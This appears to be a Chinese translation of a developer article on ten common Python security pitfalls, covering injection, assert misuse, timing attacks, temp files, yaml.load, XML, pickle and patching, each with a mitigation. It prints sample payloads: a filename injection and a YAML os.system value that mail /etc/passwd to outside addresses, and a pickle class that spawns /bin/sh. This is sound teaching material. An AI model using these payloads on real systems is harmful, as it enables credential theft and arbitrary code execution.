热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

Python中的10个常见安全漏洞,以及如何避免

简评:编写安全代码很困难,当你学习一个编程语言、模块或框架时,你会学习其使用方法。在考虑安全性时,你需要考虑如何避免被滥用&

简评:编写安全代码很困难,当你学习一个编程语言、模块或框架时,你会学习其使用方法。 在考虑安全性时,你需要考虑如何避免被滥用,Python 也不例外,即使在标准库中,也存在用于编写应用的不良实践。然而,许多 Python 开发人员却根本不知道它们。


1. 输入注入(Input injection)

注入攻击非常广泛而且很常见,注入有很多种类,它们影响所有的语言、框架和环境。

SQL 注入是直接编写 SQL 查询(而非使用 ORM) 时将字符串字面量与变量混合。我读过很多代码,其中「escaping quotes」被认为是一种修复,但事实并非如此,可以通过这个链接查看 SQL 注入所有可能发生的复杂方式。

各种复杂的 SQL 注入方式:https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/

命令注入可能在使用 popen、subprocess、os.system 调用一个进程并从变量中获取参数时发生,当调用本地命令时,有人可能会将某些值设置为恶意值。

以下这段代码(https://www.kevinlondon.com/2015/07/26/dangerous-python-functions.html)由用户提供文件名,然后调用子进程:

import subprocessdef transcode_file(request, filename):command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)subprocess.call(command, shell=True) # a bad idea!

攻击者会将 filename 的值设置为“; cat / etc / passwd | mail them@domain.com 或者其他同样危险的东西。

应对方式:

如果你使用了 Web 框架,就利用 Web 框架提供的工具对输入进行净化。除非有足够的理由,否则不要手工拼写 SQL 查询。大部分 ORM 都会提供净化的手段。

对于命令行,可以使用 shlex 模块来正确地对输入进行转义(https://docs.python.org/3/library/shlex.html#shlex.quote)。

2. assert 语句(Assert statements)

不要使用 assert 语句来防止用户访问不应访问的代码段。

def foo(request, user):assert user.is_admin, “user does not have access”# secure code...

现在,默认情况下,Python 以   __debug__   为 true 来执行脚本,但在生产环境中,通常使用优化运行,这将会跳过 assert 语句并直接转到安全代码,而不管用户是否是 is_admin。

应对方法:

仅在与其他开发人员进行通信时使用 assert 语句,例如在单元测试中或为了防止不正确的 API 使用。

3. 计时攻击(Timing attacks)

计时攻击的基本原理是通过测量代码的执行时间,来判断代码的行为和算法。计时攻击需要精确的时间测量,所以通常不会在高延迟的远程网络上实施。由于绝大多数 Web 应用的延迟变化很大,因此在 HTTP Web 服务器上实施计时攻击几乎不可能。

但是,如果有个提示输入密码的命令行应用,那么攻击者就可以写个简单的脚本,测量它比较给定值与实际密码所花费的时间。例子在此(http://jyx.github.io/blog/2014/02/02/timing-attack-proof-of-concept/)。

有一些用 Python 写的非常好的例子,比如这个基于 SSH 的计时攻击(https://github.com/c0r3dump3d/osueta)。可以去看看它们是如何工作的。

应对方法:

使用 Python 3.5 新加入的 secrets.compare_digest 来比较密码和其他私密值。

4.临时文件(Temporary files)

在 Python 中创建临时文件通常都要用 mktemp() 生成文件名,然后利用该文件名创建文件。“这种方式并不安全,因为另一个进程可能会在你调用 mktemp() 和后面创建文件的调用之间创建一个文件。”(https://docs.python.org/3/library/tempfile.html#deprecated-functions-and-variables)这意味着这种方法可以诱导你的应用程序加载错误的数据,或泄露临时文件的数据。

最新版本的 Python 中,如果调用了错误的方法,就会引发运行时警告。

应对方法:

需要创建临时文件时,使用 tempfile 模块和 mkstemp 函数(https://docs.python.org/3/library/tempfile.html#tempfile.mkstemp)。

5. 使用 yaml.load

引用 PyYAML 文档:

警告:使用从不可信源接收到的数据来调用 yaml.load 是不安全的! yaml.load 和pickle.load 一样强大,所以可以调用任何 Python 函数。

在流行的 Python 项目 Ansible 中找到的这个美丽的例子,你可以将此值作为(有效)YAML 提供给 Ansible Vault,它使用文件中提供的参数调用 os.system()。

!!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"]

所以,从用户提供的值中有效地加载 YAML 文件会让应用对攻击打开大门。

应对方法:​​​​​​​

总是使用 yaml.safe_load,除非你有一个非常好的理由。

6. 解析 XML(Parsing XML)

如果你的应用程序要加载、解析 XML 文件,则你可能正在使用 XML 标准库模块。通过 XML 的攻击大多是 DoS 风格(拒绝服务攻击,旨在使系统崩溃而不是泄露数据),这些攻击十分常见,特别是在解析外部(即不可信任的)XML 文件时(即不被信任的 XML 文件)时尤甚。

其中有个“billion laughs”攻击,因为他的 payload 通常包含很多(十亿)「lols」。基本上,这个原理是可以在 XML 中使用参照实体,所以当解析器将这个 XML 文件加载到内存中时,它会消耗数 G 大小的内存(RAM)。试试看,如果你不相信我的话 😃



]>
&lol9;


另一些攻击使用外部实体扩展。XML 支持从外部 URL 引用实体,XML解析器通常会毫无疑问地获取并加载该资源。「攻击者可以规避防火墙并访问受限制的资源,因为所有请求都是由内部可信的 IP 地址创建的,而不是来自外部。」

需要考虑的另一种情况是依赖的第三方软件包需要解码 XML ,例如配置文件、远程 API。你甚至可能不知道某个依赖关系会将这些类型的攻击置之不理。

那么 Python 如何?实际上标准库的模块 etree、DOM、xmlrpc 都广泛受到这种攻击的影响。这里有详细的文档:https://docs.python.org/3/library/xml.html#xml-vulnerabilities

应对方法:

使用 defusedxml(https://pypi.org/project/defusedxml/)替换标准库模块。这个模块能防止这类攻击。

7. 受污染的 site-packages 或 import 路径

Python 的 import 系统非常灵活。这在编写测试程序或需要重载核心功能时很方便。

但是,它是 Python 最大的安全漏洞之一。

在 site-packages 里安装第三方软件包,不论是在虚拟环境中还是在全局的 site-packages(全局方式强烈不建议)中安装,都会暴露出那些软件包中的安全漏洞。

曾经发生过把执行任意代码的包用与流行软件包相似的名字发布到 PyPi 上的事情(http://www.nbu.gov.sk/skcsirt-sa-20170909-pypi/)。最大的事故到现在依然没有被真正解决,尽管它只是为了提醒人们而没有造成任何危害……

另一种能想到的情况就是依赖的依赖(以及进一步的依赖等)。这有可能会引入脆弱性,还有可能通过 import 系统重载 Python 的核心功能。

应对方法:

对软件包进行审查。看看 PyUp.io 和他们的安全服务(http://pyup.io/)。所有应用都使用虚拟环境,全局 site-packages 越干净越好。检查包的签名。

8. 序列化 Pickles

反序列化 pickle 的数据和 YAML 一样脆弱。Python 类可以定义魔术方法 __reduce__,该方法可以返回字符串,也可以返回一个元组,其中包含可调用的对象和参数,在 pickle 的时候就会被调用。攻击者可以用这种方式调用某个子进程模块,从而在系统上执行任意命令。

这个例子(https://blog.nelhage.com/2011/03/exploiting-pickle/)演示了怎样在 Python 2 上通过 pickle 一个类来打开 shell。这里(https://lincolnloop.com/blog/playing-pickle-security/)还有更多关于如何攻击 pickle 的例子。

import cPickle
import subprocess
import base64class RunBinSh(object):def __reduce__(self):return (subprocess.Popen, (('/bin/sh',),))print base64.b64encode(cPickle.dumps(RunBinSh()))

应对方法:

决不要从任何不可信或未认证的数据源 unpickle 数据。使用其他序列化方法,如 JSON。

9. 使用系统 Python 运行时并且不修复它

大多数 POSIX 系统都自带 Python 2,版本一般都很老。

由于 Python(即 CPython)是用 C 写的,有时 Python 解释器本身也有漏洞。通常与 C 语言有关的漏洞都在内存分配方面,即缓冲区溢出漏洞。

多年来 CPython 有许多溢出漏洞,这些漏洞都被后续的发布修复了。

所以,只要你及时打补丁,你就是安全的。

这里有个 Python 2.7.13 的例子(https://www.cvedetails.com/cve/CVE-2017-1000158/),整数溢出允许执行任意代码。Ubuntu 17 之前的操作系统用的都是这个版本(如果没打补丁的话)。

应对方法:

在产品环境中使用最新版的 Python,并记得打补丁!

10. 不修复依赖关系

与给运行时打补丁类似,依赖也要定期打补丁。

我认为从 PyP 上安装“固定”版本号的 Python 包是个很差劲的想法。这种想法其实就是“这些版本能正常工作”,因此大家都不再管它们。

我上面提到的这些脆弱性,如果出现在应用程序用到的软件包中,那么也非常危险。而那些软件包的开发者们也在不断地修复这些安全漏洞。

应对方法:

用 PyUp.io 之类的服务检查更新,把新的补丁合并到你的应用程序中,运行测试保证软件包都是最新的。

用 InSpec 等工具验证产品环境中安装的版本,确保打了正确的补丁。
原文:10 common security gotchas in Python and how to avoid them​​​​​​​

原文:https://hackernoon.com/10-common-security-gotchas-in-python-and-how-to-avoid-them-e19fbe265e03


推荐阅读
  • 延迟注入工具(python)的SQL脚本
    本文介绍了一个延迟注入工具(python)的SQL脚本,包括使用urllib2、time、socket、threading、requests等模块实现延迟注入的方法。该工具可以通过构造特定的URL来进行注入测试,并通过延迟时间来判断注入是否成功。 ... [详细]
  • 如何实现织梦DedeCms全站伪静态
    本文介绍了如何通过修改织梦DedeCms源代码来实现全站伪静态,以提高管理和SEO效果。全站伪静态可以避免重复URL的问题,同时通过使用mod_rewrite伪静态模块和.htaccess正则表达式,可以更好地适应搜索引擎的需求。文章还提到了一些相关的技术和工具,如Ubuntu、qt编程、tomcat端口、爬虫、php request根目录等。 ... [详细]
  • 使用Ubuntu中的Python获取浏览器历史记录原文: ... [详细]
  • Python瓦片图下载、合并、绘图、标记的代码示例
    本文提供了Python瓦片图下载、合并、绘图、标记的代码示例,包括下载代码、多线程下载、图像处理等功能。通过参考geoserver,使用PIL、cv2、numpy、gdal、osr等库实现了瓦片图的下载、合并、绘图和标记功能。代码示例详细介绍了各个功能的实现方法,供读者参考使用。 ... [详细]
  • 在springmvc框架中,前台ajax调用方法,对图片批量下载,如何弹出提示保存位置选框?Controller方法 ... [详细]
  • Spring常用注解(绝对经典),全靠这份Java知识点PDF大全
    本文介绍了Spring常用注解和注入bean的注解,包括@Bean、@Autowired、@Inject等,同时提供了一个Java知识点PDF大全的资源链接。其中详细介绍了ColorFactoryBean的使用,以及@Autowired和@Inject的区别和用法。此外,还提到了@Required属性的配置和使用。 ... [详细]
  • SpringMVC接收请求参数的方式总结
    本文总结了在SpringMVC开发中处理控制器参数的各种方式,包括处理使用@RequestParam注解的参数、MultipartFile类型参数和Simple类型参数的RequestParamMethodArgumentResolver,处理@RequestBody注解的参数的RequestResponseBodyMethodProcessor,以及PathVariableMapMethodArgumentResol等子类。 ... [详细]
  • 本文介绍了绕过WAF的XSS检测机制的方法,包括确定payload结构、测试和混淆。同时提出了一种构建XSS payload的方法,该payload与安全机制使用的正则表达式不匹配。通过清理用户输入、转义输出、使用文档对象模型(DOM)接收器和源、实施适当的跨域资源共享(CORS)策略和其他安全策略,可以有效阻止XSS漏洞。但是,WAF或自定义过滤器仍然被广泛使用来增加安全性。本文的方法可以绕过这种安全机制,构建与正则表达式不匹配的XSS payload。 ... [详细]
  • 背景应用安全领域,各类攻击长久以来都危害着互联网上的应用,在web应用安全风险中,各类注入、跨站等攻击仍然占据着较前的位置。WAF(Web应用防火墙)正是为防御和阻断这类攻击而存在 ... [详细]
  • 浅解XXE与Portswigger Web Sec
    XXE与PortswiggerWebSec​相关链接:​博客园​安全脉搏​FreeBuf​XML的全称为XML外部实体注入,在学习的过程中发现有回显的XXE并不多,而 ... [详细]
  • PreparedStatement防止SQL注入
    添加数据:packagecom.hyc.study03;importcom.hyc.study02.utils.JDBCUtils;importjava.sql ... [详细]
  • baresip android编译、运行教程1语音通话
    本文介绍了如何在安卓平台上编译和运行baresip android,包括下载相关的sdk和ndk,修改ndk路径和输出目录,以及创建一个c++的安卓工程并将目录考到cpp下。详细步骤可参考给出的链接和文档。 ... [详细]
  • 本文介绍了计算机网络的定义和通信流程,包括客户端编译文件、二进制转换、三层路由设备等。同时,还介绍了计算机网络中常用的关键词,如MAC地址和IP地址。 ... [详细]
  • 高质量SQL书写的30条建议
    本文提供了30条关于优化SQL的建议,包括避免使用select *,使用具体字段,以及使用limit 1等。这些建议是基于实际开发经验总结出来的,旨在帮助读者优化SQL查询。 ... [详细]
  • Spring框架《一》简介
    Spring框架《一》1.Spring概述1.1简介1.2Spring模板二、IOC容器和Bean1.IOC和DI简介2.三种通过类型获取bean3.给bean的属性赋值3.1依赖 ... [详细]
author-avatar
海纳百川2602902033
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有